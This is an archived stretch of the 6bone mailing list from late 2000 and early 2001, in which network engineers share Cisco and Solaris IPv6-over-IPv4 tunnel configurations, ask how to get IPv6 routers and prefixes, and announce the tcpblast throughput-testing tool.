  ICMP error messages limited to one every 500 milliseconds
  ND advertised reachable time is 0 milliseconds
  ND advertised retransmit interval is 0 milliseconds
  ND router advertisements are sent every 200 seconds
  ND router advertisements live for 1800 seconds
  Hosts use stateless autoconfig for addresses.
Tunnel0 is up, line protocol is up
  IPv6 is enabled, link-local address is FE80::E0:B055:C64F:8
  Interface is unnumbered. Using address of Ethernet0
    Address is 3FFE:2501:200:3::1
  Joined group address(es):
    FF02::1
    FF02::2
    FF02::1:FF4F:8
  MTU is 1480 bytes
  ICMP error messages limited to one every 500 milliseconds
  ND advertised reachable time is 0 milliseconds
  ND advertised retransmit interval is 0 milliseconds
  ND router advertisements are sent every 200 seconds
  ND router advertisements live for 1800 seconds
  Hosts use stateless autoconfig for addresses.
Router#

bugs#show config
Using 865 out of 32762 bytes
!
version 11.3
service timestamps debug uptime
service timestamps log uptime
no service password-encryption
!
hostname bugs
!
enable secret .
enable password 
!
ipv6 unicast-routing
!
!
!
interface Tunnel0
 ip unnumbered Ethernet0
 ip mtu 1480
 no ip mroute-cache
 ipv6 enable
 ipv6 unnumbered Ethernet0
 tunnel source Ethernet0
 tunnel destination 128.127.1.2
 tunnel mode ipv6ip
!
interface Ethernet0
 ip address 192.168.1.95 255.255.255.0
 ipv6 enable
 ipv6 address 3FFE:2501:200:3::1/64
 no cdp enable
!
interface Serial0
 ip address 128.127.1.1 255.255.255.0
 no fair-queue
!
no ip classless
!
ipv6 route 3FFE::0/16 Tunnel0
!
line con 0
 exec-timeout 0 0
line aux 0
line vty 0 4
 password bugs
 login
!
end

bugs#show ip int brief
Interface              IP-Address      OK? Method Status
Protocol

Ethernet0              192.168.1.95    YES NVRAM  up                    up

Serial0                128.127.1.1     YES NVRAM  up                    up

Tunnel0                192.168.1.95    YES unset  up                    up

bugs#

bugs#show ipv6 int
Ethernet0 is up, line protocol is up
  IPv6 is enabled, link-local address is FE80::210:7BFF:FE36:AD63
  Global unicast address(es):
    3FFE:2501:200:3::1, subnet is 3FFE:2501:200:3::0/64
  Joined group address(es):
    FF02::1
    FF02::2
    FF02::1:FF36:AD63
    FF02::1:FF00:1
  MTU is 1500 bytes
  ICMP error messages limited to one every 500 milliseconds
  ND advertised reachable time is 0 milliseconds
  ND advertised retransmit interval is 0 milliseconds
  ND router advertisements are sent every 200 seconds
  ND router advertisements live for 1800 seconds
  Hosts use stateless autoconfig for addresses.
Tunnel0 is up, line protocol is up
  IPv6 is enabled, link-local address is FE80::10:7B36:AD63:8
  Interface is unnumbered. Using address of Ethernet0
    Address is 3FFE:2501:200:3::1
  Joined group address(es):
    FF02::1
    FF02::2
    FF02::1:FF63:8
  MTU is 1480 bytes
  ICMP error messages limited to one every 500 milliseconds
  ND advertised reachable time is 0 milliseconds
  ND advertised retransmit interval is 0 milliseconds
  ND router advertisements are sent every 200 seconds
  ND router advertisements live for 1800 seconds
  Hosts use stateless autoconfig for addresses.
bugs#



From 6bone-owner  Fri Dec 29 06:59:11 2000
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Date: Fri, 29 Dec 2000 14:56:40 +0000
To: "Mithrandir" <mithrandir@skynet.be>
From: Trevor Warwick <twarwick@cisco.com>
Subject: Re: Tunnel in cisco router.
Cc: <6bone@ISI.EDU>
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In future, I'd ask everyone to please contact ipv6-support@cisco.com if you 
have support questions about Beta or EFT versions of Cisco IOS IPv6 
software. You are likely to get more prompt, and more definitive, response 
from us directly.

I think this is a simple configuration error, and will follow up offline to 
save further discussion on this list.

Regards,

Trevor


At 29/12/2000, Mithrandir wrote:
 >Okay this is one out of a lot of try outs.
 >
 >Don't shoot me I just use this in a Closed LAN environment.
 >
 >It does not work. (Pinging that is)
 >
 >Router#show config
--
Trevor Warwick <mailto:twarwick@cisco.com>
Cisco IOS Software Development Manager, Stockley Park
Tel: +44 (0)20 8756 9688


From 6bone-owner  Sun Dec 31 01:12:44 2000
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From: "Pat Jensen" <patjensen@mediaone.net>
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Subject: Tunnel Requests
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I am an NLA accepting requests for single-user or networked (/64) statically
routed tunnels from users and companies wanting to experiment with IPv6
deployment on the 6bone.  Requirements are a static IPv4 address, some form
of always-on connectivity and familiarity with your vendors' IPv6 stack.

Please feel free to send me an e-mail if you are interested or looking to
augment your current IPv6 tunneling connectivity.
My router is at 206.171.190.30, please use traceroute and ping to check
performance from your location.  Acceptable performance would be within
200ms.

Thanks and Happy New Year!

Patrick Jensen
Researcher
FutureUnix Foundation


From 6bone-owner  Mon Jan  1 06:59:52 2001
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From: "Joris Dobbelsteen" <joris.dobbelsteen@mail.com>
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Subject: Happy new year
Date: Mon, 1 Jan 2001 16:01:04 +0100
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To all WGs I'm subscribed to, nobody does it, so I'll just send it:



Happy new year and a good start of the new millennium





Hope I can say this for all members of the WGs...


- Joris

From 6bone-owner  Wed Jan  3 06:28:34 2001
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From: wd6bone <wd6bone@sina.com>
To: 6bone@ISI.EDU
Subject: How can I get IPv6 Router
Date: Wed, 3 Jan 2001 22:32:06 +0800
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I want to build a IPv6 experiment  network. But how can I get a router which can be
used in the IPv6 environment. i.e. an "IPv6" router?
Thanks very much!

dong
______________________________________

===================================================================
ÐÂÀËÃâ·Ñµç×ÓÓÊÏä http://mail.sina.com.cn

ÄãÑ¡ÊÖ»úÎÒÂòµ¥£¡(http://mall.sina.com.cn/yesmobile/)

From 6bone-owner  Wed Jan  3 11:01:56 2001
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From: Pim van Pelt <pim@wise-guys.nl>
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Subject: Re: How can I get IPv6 Router
In-Reply-To: <20010103143206.18404.qmail@sina.com> from wd6bone at "Jan 3, 2001
 10:32:06 pm"
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Dong,

You can purchange some Cisco box (eg 2500/3600 series) and install IOS 12.1
on that which is capable of IPv4 and IPv6. They can be quite expensive for
an individual though.

Other possibility is taking some computer (Intel/Sparc) and installing a 
Unix on it (OpenBSD/Solaris or Linux) and compiling the OS specific tools
in order to create a router.

In the latter case, you should check out Zebra (www.zebra.org) which has
a fully featured router in C code.

Getting connectivity should not be too hard. I myself can be of help in
that case. Visit www.ipng.nl for details about Static Tunnels (only
24/7 connection and static IP)

regards, good luck,
Pim

> I want to build a IPv6 experiment  network. But how can I get a router which can be
> used in the IPv6 environment. i.e. an "IPv6" router?
> Thanks very much!
> 
> dong
> ______________________________________
> 
> ===================================================================
> ÐÂÀËÃâ·Ñµç×ÓÓÊÏä http://mail.sina.com.cn
> 
> ÄãÑ¡ÊÖ»úÎÒÂòµ¥£¡(http://mall.sina.com.cn/yesmobile/)
> 


-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt       Email: pvanpelt@wise-guys.nl
http://www.wise-guys.nl/      GSM: +31629064049
-----------------------------------------------

From 6bone-owner  Wed Jan  3 11:15:41 2001
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From: Kristoff Bonne <kristoff.bonne@skypro.be>
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Subject: Re: How can I get IPv6 Router
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Greetings,

On Wed, 3 Jan 2001, wd6bone wrote:
> I want to build a IPv6 experiment  network. But how can I get a router which can be
> used in the IPv6 environment. i.e. an "IPv6" router?
> Thanks very much!
Two possibilities:

- Either you get hold of a 'old' cisco-router (e.g. a 1600 or a 2500), add
sufficiant memory and use one of the experimental IPv6 images found on
cisco's FTP-site.

- Either you use a old 'PC', install one of the free unices (linux or
{free,net,open}BSD and configure IPv6 on it.


Cheerio! Kr. Bonne.
-- 
KB905-RIPE                                  belgacom internet backbone
(c=be,a=rtt,p=rttipc,s=Bonne,g=Kristoff)    Internet, IP and IP/VPN
kristoff.bonne@skypro.be                    Fax: +32 2 2435122



From 6bone-owner  Wed Jan  3 16:46:35 2001
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Date: Thu, 4 Jan 2001 01:45:59 +0100
From: "Steinar H. Gunderson" <sgunderson@bigfoot.com>
To: 6bone@ISI.EDU
Subject: Re: How can I get IPv6 Router
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On Wed, Jan 03, 2001 at 08:00:45PM +0100, Pim van Pelt wrote:
>In the latter case, you should check out Zebra (www.zebra.org) which has
>a fully featured router in C code.

Does Zebra contain any actual routing code? I can only find software for
setting up the routes (dynamically, of course)...

/* Steinar */
-- 
Homepage: http://members.xoom.com/sneeze/

From 6bone-owner  Wed Jan  3 18:32:03 2001
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From: "Sean Lin" <sean.lin@alliedtelesyn.co.nz>
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Following the instructions from http://www.6bone.net/6bone_hookup.html, I 
tried to obtain registry information from 
http://www.cs-ipv6.lancs.ac.uk/ipv6/6Bone/Whois/bycountry.html but it 
seems that the site is down and thus have not found/contacted any nearby 
6bone attachment points.

http://www.viagenie.qc.ca/en/ipv6/registry/index.shtml does not seem to be 
much of a help if you don't know the site name to query.

So I'm turning to this list for help in obtaining a /48 or /64 prefix or 
some ipv6 addresses for testing purposes. I'm based in Christchurch, New 
Zealand.

Cheers,
Sean

-------------------------------------------------------------
Sean Lin                 27 Nazareth Avenue
Software Engineer        PO Box 8011
Allied Telesyn Research  Christchurch
phone +64 3 339 3000     New Zealand
fax   +64 3 339 3002     email: sean.lin@alliedtelesyn.co.nz
                         web: http://www.alliedtelesyn.co.nz/
-------------------------------------------------------------


From 6bone-owner  Wed Jan  3 18:52:48 2001
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Date: Wed, 03 Jan 2001 18:52:34 -0800
To: sean.lin@alliedtelesyn.co.nz, 6bone@ISI.EDU
From: Bob Fink <fink@es.net>
Subject: Re: 6bone attachment request
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Sean,

At 03:28 PM 1/4/2001 +1200, Sean Lin wrote:
>Following the instructions from http://www.6bone.net/6bone_hookup.html, I
>tried to obtain registry information from
>http://www.cs-ipv6.lancs.ac.uk/ipv6/6Bone/Whois/bycountry.html but it
>seems that the site is down and thus have not found/contacted any nearby
>6bone attachment points.

I just used this site to look at three NZ sites:

<http://www.cs-ipv6.lancs.ac.uk/ipv6/6Bone/Whois/bycountry.html#NZ>

try it now.

However, if you don't want to try again, try the Canterbury guys in 
Christchurch:

>ipv6-site:    CANTERBURY
>origin:       AS9432
>descr:        University of Canterbury
>location:     Christchurch
>country:      NZ
>prefix:       3FFE:2900:FFE1:1::/64
>contact:      KRB1-6BONE
>remarks:      DNS not operational yet
>remarks:      ipv6 site operational since Aug 1999
>notify:       soa@its.canterbury.ac.nz
>changed:      k.baker@its.canterbury.ac.nz 19990806
>source:       6BONE
>
>person:       Kerry Baker
>address:      University of Canterbury, New Zealand
>phone:        +64 3 364 2336
>e-mail:       k.baker@its.canterbury.ac.nz
>nic-hdl:      KRB1-6BONE
>notify:       k.baker@its.canterbury.ac.nz
>changed:      k.baker@its.canterbury.ac.nz 19990806
>source:       6BONE


Bob



From 6bone-owner  Wed Jan  3 21:56:55 2001
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   I want to use my computer(win98) and a Cisco3600 router to link to the 6bone in China,can you pls tell me what to do now?
thanks alot!
00


From 6bone-owner  Wed Jan  3 22:47:31 2001
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From: "Sean Lin" <mtl23@student.canterbury.ac.nz>
To: "Bob Fink" <fink@es.net>
Cc: <6bone@ISI.EDU>
References: <5.0.0.25.0.20010103184946.02604b80@imap2.es.net>
Subject: Re: 6bone attachment request
Date: Thu, 4 Jan 2001 19:47:28 +1300
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hi Bob,

The NZ sites are not working anymore, the information there is out of date,
CLEAR-NZ and CANTERBURY is no longer operating. All CANTERBURY had was a
tunnel to CLEAR-NZ and the person in charge of the ipv6 router at CLEAR has
quit his job and nobody at CLEAR Communications knows anything about a ipv6
router.

I still can't seem to get a DNS reply for the lancs website. DNS error
again.

Sean

----- Original Message -----
From: "Bob Fink" <fink@es.net>
To: <sean.lin@alliedtelesyn.co.nz>; <6bone@ISI.EDU>
Sent: Thursday, January 04, 2001 3:52 PM
Subject: Re: 6bone attachment request


> Sean,
>
> At 03:28 PM 1/4/2001 +1200, Sean Lin wrote:
> >Following the instructions from http://www.6bone.net/6bone_hookup.html, I
> >tried to obtain registry information from
> >http://www.cs-ipv6.lancs.ac.uk/ipv6/6Bone/Whois/bycountry.html but it
> >seems that the site is down and thus have not found/contacted any nearby
> >6bone attachment points.
>
> I just used this site to look at three NZ sites:
>
> <http://www.cs-ipv6.lancs.ac.uk/ipv6/6Bone/Whois/bycountry.html#NZ>
>
> try it now.
>
> However, if you don't want to try again, try the Canterbury guys in
> Christchurch:
>
> >ipv6-site:    CANTERBURY
> >origin:       AS9432
> >descr:        University of Canterbury
> >location:     Christchurch
> >country:      NZ
> >prefix:       3FFE:2900:FFE1:1::/64
> >contact:      KRB1-6BONE
> >remarks:      DNS not operational yet
> >remarks:      ipv6 site operational since Aug 1999
> >notify:       soa@its.canterbury.ac.nz
> >changed:      k.baker@its.canterbury.ac.nz 19990806
> >source:       6BONE
> >
> >person:       Kerry Baker
> >address:      University of Canterbury, New Zealand
> >phone:        +64 3 364 2336
> >e-mail:       k.baker@its.canterbury.ac.nz
> >nic-hdl:      KRB1-6BONE
> >notify:       k.baker@its.canterbury.ac.nz
> >changed:      k.baker@its.canterbury.ac.nz 19990806
> >source:       6BONE
>
>
> Bob
>
>


From 6bone-owner  Wed Jan  3 23:03:21 2001
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	Thu, 4 Jan 2001 14:00:54 +0700 (ICT)
From: Robert Elz <kre@munnari.OZ.AU>
To: "Steinar H. Gunderson" <sgunderson@bigfoot.com>
cc: 6bone@ISI.EDU
Subject: Re: How can I get IPv6 Router 
In-reply-to: Your message of "Thu, 04 Jan 2001 01:45:59 +0100."
             <20010104014559.A1618@uio.no> 
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    Date:        Thu, 4 Jan 2001 01:45:59 +0100
    From:        "Steinar H. Gunderson" <sgunderson@bigfoot.com>
    Message-ID:  <20010104014559.A1618@uio.no>

  | Does Zebra contain any actual routing code? I can only find software for
  | setting up the routes (dynamically, of course)...

That is the routing code ... I suspect that what you're asking
about is forwarding code, and no, I don't believe that zebra
does that (though just about every unix for ages has had that
capability in it .. the bigger problem has often been turning it
off when it wasn't wanted).

kre


From 6bone-owner  Thu Jan  4 07:03:21 2001
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Date: 	Thu, 4 Jan 2001 15:33:18 +0100
From: Rafal Maszkowski <rzm@icm.edu.pl>
To: 6bone@ISI.EDU
Subject: IPv6 tcpblast (with tons of options)
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I am maintaining a tcpblast variation based on FreeBSD version from 1996.
Recently I added IPv6 support, also in included (but not in RPM) standalone
discard program. There is also a lot of options added since I started hacking
original version, recently packet size setting.

See

ftp://ftp.6bone.pl/pub/blast/

for source, Linux (S)RPMs and binaries for some other Unix systems.

to get announcements:

echo subscribe tcpblast | mail majordomo@sunsite.icm.edu.pl


Usage: tcpblast [options] destination[:port]

tcpblast/udpblast is a simple tool for probing network and estimating its
throughput. By default it sends 300 blocks (1024 bytes each) of data to
specified destination host.
Destination can be name or address, IPv4 or IPv6. When IPv6 address is specified
with port it should look like: '[3ffe:8010::1]:9' (with single quotes to prevent
shell expansion of []).

Options:
-4, --ipv4           use only ipv4 address
-6, --ipv6           use only ipv6 address
-a                   send random data
-b BUF_SIZE          socket buf size (default: -1 == don't change), with `-' to
                       be substracted from results
-c, --count BLOCKS   change default (300) number of blocks, range: 1..10000000
-d DOTFREQ           print dot every DOTFREQ blocks, disables cont. speed disp. 
-h, --help           this help
-i, --delay DELAY    write delay in microseconds (EXPERIMENTAL)
-l, --last BLKS      show also speed for last BLKS blocks
-m                   results for every block in separate line
-n, --nwrite         do not write, use e.g. with chargen port
-o                   switch from continuous speed displaying to dots printing
-p PORT              bind this local PORT
-q --quiet           show only final statistics
-r, --read           read data returned to us, switches default port to echo
-R, --rate RATESPEC  limit the speed according to the RATESPEC
-s BLOCK_SIZE        block size (default 1024 bytes)
-t MAXTIME           limit time to MAXTIME (up to 42950 h)
    --tcp            use TCP (default)
    --udp            use UDP (default if named udpblast)
-v, --verbosity      verbosity, default 0, maximum 3. -v adds time display, -vv
                       also speed in B/s, -v - speed in b/s.
-V, --version        version
-x, --maxseg SIZE    setting packet SIZE using TCP_MAXSEG
destination          host name or address
port                 use port #/name xyz instead of default port 9

RATESPEC             RATE[,TIME][:RATE[,TIME]]...
RATE                 generating data at RATE speed in B/s
TIME                 for TIME seconds (can be floating point number), last can
                       be omitted and that time will be infinite

Options -b, -c, -R, -s and -t can use case insensitive unit multipliers and
specifiers:
  size (bytes):
    -b and -s argument without units is in bytes, can use [{k,m,g}]b (lower
    or upper case) for KB, MB or GB. {k,m,g} are powers of 1024.
  number:
    -c argument is just a number, can have k, m or g added (powers of 1024),
    no unit needed
  rate (bytes pes second):
    -R RATE is in B/s or Bps, the postfixes can be [{k,m,g}]{b/s,bps}
  time (seconds):
    -t and -R TIME argument is in seconds, can be postfixed with
    [{k,m,g}]{s,min,h,w,m,y}

Example:
  tcpblast -b 4KB -c 10k -R 10KBps,2:20kbps,3s target

tcpblast version: FreeBSD + rzm 20010104


The README file contains examples of use.

R.
-- 
W iskier krzesaniu ¿ywem/Materia³ to rzecz g³ówna

From 6bone-owner  Thu Jan  4 08:18:52 2001
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From: "huaning\(bii\)" <nhua@biigroup.com>
To: "pop" <luoyan@cnnic.net.cn>
Cc: "6bone" <6bone@ISI.EDU>
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Subject: Re: 
Date: Fri, 5 Jan 2001 00:19:41 +0800
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It's easy, you can download a Cisco's IPv6 IOS, which
is a evaluation version now , then upgrade your 3600's 
IOS. At this time, the 3600 is IPv6 enable.
Now , Microsoft has not released IPv6 protocal stack 
for win98, except for win2000 sp1, but you can find 
other company's IPv6 stack, e.g http:/www.trumpet.com.au/ipv6.htm

Good Luck.
_________________________________________________
    Hua Ning
    Chief Engineer
    BII Group Holdings Ltd(Beijing Internet-networking Institute),
    110E 11F China Merchants Tower,
    No.2 Dong Huan Nan Lu, Chao Yang District,
    Beijing,China
    Zip Code: 100022
    Mobile: +86-13501067449
    Tel:+86-10-65660290-223
    Fax:+86-10-65660297
_________________________________________________
----- Original Message ----- 
From: "pop" <luoyan@cnnic.net.cn>
To: "6bone@isi.edu" <6bone@ISI.EDU>
Sent: Thursday, January 04, 2001 1:41 PM


>    I want to use my computer(win98) and a Cisco3600 router to link to the 6bone in China,can you pls tell me what to do now?
> thanks alot!
> 00
> 
> 

From 6bone-owner  Sun Jan  7 11:46:53 2001
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From: "Sean Lin" <sean.lin@alliedtelesyn.co.nz>
Organization: Allied Telesyn Research, Chch, NZ
To: 6bone@ISI.EDU
Date: Mon, 8 Jan 2001 08:43:35 +1200 (NZT)
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Subject: Re: 6bone attachment request
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References: <3A5496AE.6226.58ACDE6E@localhost> "from Sean Lin at Jan 4, 2001 03:28:47 pm"
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Thank you everyone for your help. I've managed to obtained a /64 from Pat 
Jensen and also from Auckland University.

Cheers,
Sean





Subject:        	Re: 6bone attachment request
To:             	sean.lin@alliedtelesyn.co.nz
Date sent:      	Fri, 5 Jan 2001 11:50:20 -0500 (EST)
From:           	ww@AREA22.STYX.ORG (William Waites)

> Hi there,
> 
> Just wondering if you've found a tunnel yet. If not, I'd be happy
> to make you one although I can't speak to the bandwidth you'd
> get over it. Our endpoint would be 216.129.192.34 which
> is in Toronto, Canada. We have a tunnel to merit.edu
> and a /48 out of which we can give you some space.
> 
> Cheers,
> -w
> 
> > Following the instructions from http://www.6bone.net/6bone_hookup.html, I
> > tried to obtain registry information from
> > http://www.cs-ipv6.lancs.ac.uk/ipv6/6Bone/Whois/bycountry.html but it
> > seems that the site is down and thus have not found/contacted any nearby
> > 6bone attachment points.
> > 
> > http://www.viagenie.qc.ca/en/ipv6/registry/index.shtml does not seem to
> > be much of a help if you don't know the site name to query.
> > 
> > So I'm turning to this list for help in obtaining a /48 or /64 prefix or
> > some ipv6 addresses for testing purposes. I'm based in Christchurch, New
> > Zealand.
> > 
> > Cheers,
> > Sean
> > 
> > -------------------------------------------------------------
> > Sean Lin                 27 Nazareth Avenue
> > Software Engineer        PO Box 8011
> > Allied Telesyn Research  Christchurch
> > phone +64 3 339 3000     New Zealand
> > fax   +64 3 339 3002     email: sean.lin@alliedtelesyn.co.nz
> >                          web: http://www.alliedtelesyn.co.nz/
> > -------------------------------------------------------------
> > 
> > 
> 



-------------------------------------------------------------
Sean Lin                 27 Nazareth Avenue
Software Engineer        PO Box 8011
Allied Telesyn Research  Christchurch
phone +64 3 339 3000     New Zealand
fax   +64 3 339 3002     email: sean.lin@alliedtelesyn.co.nz
                         web: http://www.alliedtelesyn.co.nz/
-------------------------------------------------------------


From 6bone-owner  Sun Jan  7 16:28:55 2001
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Reply-To: <goddardm@home.com>
From: "Matthew Goddard" <goddardm@home.com>
To: <6bone@ISI.EDU>
Subject: RE: 6bone attachment request
Date: Sun, 7 Jan 2001 19:32:26 -0500
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Just wait until /64 and /48 are being sold as commodities on the open market
;)

-----Original Message-----
From: owner-6bone@ISI.EDU [mailto:owner-6bone@ISI.EDU]On Behalf Of Sean
Lin
Sent: Sunday, January 07, 2001 3:44 PM
To: 6bone@ISI.EDU
Subject: Re: 6bone attachment request


Thank you everyone for your help. I've managed to obtained a /64 from Pat
Jensen and also from Auckland University.

Cheers,
Sean





Subject:        	Re: 6bone attachment request
To:             	sean.lin@alliedtelesyn.co.nz
Date sent:      	Fri, 5 Jan 2001 11:50:20 -0500 (EST)
From:           	ww@AREA22.STYX.ORG (William Waites)

> Hi there,
>
> Just wondering if you've found a tunnel yet. If not, I'd be happy
> to make you one although I can't speak to the bandwidth you'd
> get over it. Our endpoint would be 216.129.192.34 which
> is in Toronto, Canada. We have a tunnel to merit.edu
> and a /48 out of which we can give you some space.
>
> Cheers,
> -w
>
> > Following the instructions from http://www.6bone.net/6bone_hookup.html,
I
> > tried to obtain registry information from
> > http://www.cs-ipv6.lancs.ac.uk/ipv6/6Bone/Whois/bycountry.html but it
> > seems that the site is down and thus have not found/contacted any nearby
> > 6bone attachment points.
> >
> > http://www.viagenie.qc.ca/en/ipv6/registry/index.shtml does not seem to
> > be much of a help if you don't know the site name to query.
> >
> > So I'm turning to this list for help in obtaining a /48 or /64 prefix or
> > some ipv6 addresses for testing purposes. I'm based in Christchurch, New
> > Zealand.
> >
> > Cheers,
> > Sean
> >
> > -------------------------------------------------------------
> > Sean Lin                 27 Nazareth Avenue
> > Software Engineer        PO Box 8011
> > Allied Telesyn Research  Christchurch
> > phone +64 3 339 3000     New Zealand
> > fax   +64 3 339 3002     email: sean.lin@alliedtelesyn.co.nz
> >                          web: http://www.alliedtelesyn.co.nz/
> > -------------------------------------------------------------
> >
> >
>



-------------------------------------------------------------
Sean Lin                 27 Nazareth Avenue
Software Engineer        PO Box 8011
Allied Telesyn Research  Christchurch
phone +64 3 339 3000     New Zealand
fax   +64 3 339 3002     email: sean.lin@alliedtelesyn.co.nz
                         web: http://www.alliedtelesyn.co.nz/
-------------------------------------------------------------


From 6bone-owner  Mon Jan  8 05:45:09 2001
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From: "Mithrandir" <mithrandir@skynet.be>
To: <6bone@ISI.EDU>
Subject: Thanks
Date: Mon, 8 Jan 2001 14:43:54 +0100
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Thanks to everyone who helped achieve this configuration.

Here's an example of 2 cisco 2500 series routers who are connected to each
other with their serial interface.
IN A CLOSED LAN ENVIRONMENT. (no internet connection)

Special Thanks to Pim, he devoted a lot of his precious time for us, and
explained the mechanics of Tunneling.

Thank you all.
Greetings
Mithrandir and Johan.

hostname Bugs
!
enable secret
enable password xxxx
!
ipv6 unicast-routing
!
interface Tunnel1
 no ip address
 ipv6 enable
 tunnel source Ethernet0
 tunnel destination 10.1.1.1
 tunnel mode ipv6ip
!
interface Ethernet0
 ip address 192.168.1.95 255.255.255.0
 ipv6 enable
 ipv6 address 3FFE:8114:3001:2::1/64
!
interface Serial0
 ip address 172.16.0.1 255.255.0.0
 no ip mroute-cache
!
ip classless
ip route 10.0.0.0 255.0.0.0 Serial0
!
ipv6 route 3FFE:8114:3001:1::0/64 Tunnel1
!
line con 0
line aux 0
line vty 0 4
 password xxxx
 login
!
end
____________________________________________________

hostname Bunny
!
enable secret
enable password xxxx
!
ipv6 unicast-routing
!
interface Tunnel2
 no ip address
 ipv6 enable
 tunnel source Ethernet0
 tunnel destination 192.168.1.95
 tunnel mode ipv6ip
!
interface Ethernet0
 ip address 10.1.1.1 255.0.0.0
 ipv6 enable
 ipv6 address 3FFE:8114:3001:1::1/64
!
interface Serial0
 ip address 172.16.0.2 255.255.0.0
 no ip mroute-cache
 clockrate 64000
!
ip classless
ip route 192.168.1.0 255.255.255.0 Serial0
!
ipv6 route 3FFE:8114:3001:2::0/64 Tunnel2
!
line con 0
line aux 0
line vty 0 4
 password xxxx
 login
!
end


From 6bone-owner  Mon Jan  8 19:13:00 2001
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Does anybody know of the existance of an IPv6 version of the h2n script
which converts /etc/hosts records into named zone files?



From 6bone-owner  Tue Jan  9 05:49:04 2001
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From: "Mithrandir" <mithrandir@skynet.be>
To: <6bone@ISI.EDU>
Subject: Sunsol8
Date: Tue, 9 Jan 2001 14:49:06 +0100
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As the 'kwak' doctor in the Simpsons would say:

Hello, Everybody !

I'm working with Sun Solaris8 machines IPv6 compatible.
Recently I succeeded in tunneling IPv6 in IPv4 with two
Cisco 2500 series routers.

This time I want to try to communicate with two IPv6 hosts
with two IPv4 cisco routers inbetween.

This is the second type of tunnel we want to experiment with.
Does anyone have some pointers.
Sorry but the documentation is too dificult to understand.
Call me a dummy. (I don't care)
I like interacting with people.

The cisco configuration is still available, just ask

Thanks
Greetings
Mithrandir.



From 6bone-owner  Tue Jan  9 08:04:26 2001
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On Tue, 9 Jan 2001, Mithrandir wrote:

> As the 'kwak' doctor in the Simpsons would say:
> 
> Hello, Everybody !
> 
> I'm working with Sun Solaris8 machines IPv6 compatible.
> Recently I succeeded in tunneling IPv6 in IPv4 with two
> Cisco 2500 series routers.
> 
> This time I want to try to communicate with two IPv6 hosts
> with two IPv4 cisco routers inbetween.
> 
> This is the second type of tunnel we want to experiment with.
> Does anyone have some pointers.
> Sorry but the documentation is too dificult to understand.
> Call me a dummy. (I don't care)
> I like interacting with people.
> 
> The cisco configuration is still available, just ask
> 
> Thanks
> Greetings
> Mithrandir.

Between two Solaris systems with IPv4 connectivity, it should be dead
easy.
	Create /etc/hosname6/ip.tun0  (or 1 or 2 or 3...) on each machine;
the contents are
tdst a.b.c.d
where a.b.c.d is the IPv4 address of the other one. (you might need
tsrc w.x.y.z where w.x.y.z is the address of the host).

Reboot 'em both.

Pete.


From 6bone-owner  Tue Jan  9 10:35:22 2001
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From: "NDSoftware" <extml@ndsoftware.net>
To: <6bone@ISI.EDU>
Subject: IPs
Date: Tue, 9 Jan 2001 19:39:36 +0100
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How i can get ip for IPV6 ?
Thanks


From 6bone-owner  Tue Jan  9 13:14:52 2001
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From: Pim van Pelt <pim@bfib.ipng.nl>
Message-Id: <200101092113.f09LDDD14897@bfib.ipng.nl>
Subject: Re: Sunsol8
To: mithrandir@skynet.be (Mithrandir)
Date: Tue, 9 Jan 2001 22:13:13 +0100 (CET)
Cc: 6bone@ISI.EDU
In-Reply-To: <003e01c07a42$f596b9e0$0401a8c0@mithrandir> from "Mithrandir" at Jan 09, 2001 02:49:06 PM
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> This time I want to try to communicate with two IPv6 hosts
> with two IPv4 cisco routers inbetween.
> 
> This is the second type of tunnel we want to experiment with.
> Does anyone have some pointers.
> Sorry but the documentation is too dificult to understand.
> Call me a dummy. (I don't care)
> I like interacting with people.
> 
It is exactly the same 'type of tunnel' as the first setup.
This time, you have boxA46 | routerA4 | routerB4 | boxB46

Assuming your routers speak only IPv4, and they can route traffic
from boxA to boxB, you can set up a tunnel between the two
solaris machines.

Let us say boxA is IPv4 address 10.0.1.2 and boxB is 10.0.2.2

On boxA, you would create /etc/hostname6.ip.tun0 with contents:
-- 
tsrc 10.0.1.2 tdst 10.0.2.2 up
addif 3ffe:8114:3000::0 3ffe:8114:3000::1 up
--

and on boxB, /etc/hostname6.ip.tun0 becomes:
-- 
tsrc 10.0.2.2 tdst 10.0.1.2 up
addif 3ffe:8114:3000::1 3ffe:8114:3000::0 up
--

You can then ping6 the other endpoint (ping6 is not standard
software for Solaris, but ping works in both address families)

happy pinging :)
Pim

> The cisco configuration is still available, just ask
> 
> Thanks
> Greetings
> Mithrandir.
> 
> 


-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From 6bone-owner  Tue Jan  9 14:50:54 2001
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To: NDSoftware <extml@ndsoftware.net>, 6bone@ISI.EDU
Subject: Re: IPs
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*This message was transferred with a trial version of CommuniGate(tm) Pro*
NDSoftware wrote:

> *This message was transferred with a trial version of CommuniGate(tm) Pro*
> How i can get ip for IPV6 ?
> Thanks

If you mean you would like access to a large public network that uses the
ipv6 protocol may i suggest:
http://www.6bone.net/6bone_hookup.html
and
www.freenet6.net

I hope I have been helpful
Alex Newman


From 6bone-owner  Tue Jan  9 15:17:22 2001
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Message-Id: <200101092315.f09NFjb04562@bfib.ipng.nl>
Subject: Re: IPs
To: extml@ndsoftware.net (NDSoftware)
Date: Wed, 10 Jan 2001 00:15:44 +0100 (CET)
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In-Reply-To: <PEEFLAHPLCHECPIMNLAMKEDPCNAA.extml@ndsoftware.net> from "NDSoftware" at Jan 09, 2001 07:39:36 PM
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> 
> How i can get ip for IPV6 ?
Look at http://www.freenet6.net/ or various other tunnel
brokers on the internet.

groet,
Pim

-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From 6bone-owner  Wed Jan 10 04:35:24 2001
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From: "Mithrandir" <mithrandir@skynet.be>
To: <6bone@ISI.EDU>
Subject: Host to router
Date: Wed, 10 Jan 2001 13:21:13 +0100
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Thank you guys and girls

For the input on host6 over IPv4 network to host6 communication.

Here 's an explanation from www.sun.com. See below:
Also, thank you very much for all your help.

Next problem:
Tunneling from a IPv6/IPv4 host over IPv4 router Through IPv6/IPv4 router
and to IPv6 host.
I already made a configuration similar to the cisco router tunneling.
It does not work.

Here 's the input from sun:

Automatic Tunnels
-----------------

To configure automatic tunnels, you want to configure interface
ip.atun0.  The easiest way to do this is to create the file
/etc/hostname6.ip.atun0, with this contents

tsrc <IPv4 address> up

where <IPv4 address> is an IPv4 address on this system.  At boot time,
Solaris will create ip.atun0 and configure it with a tunnel source
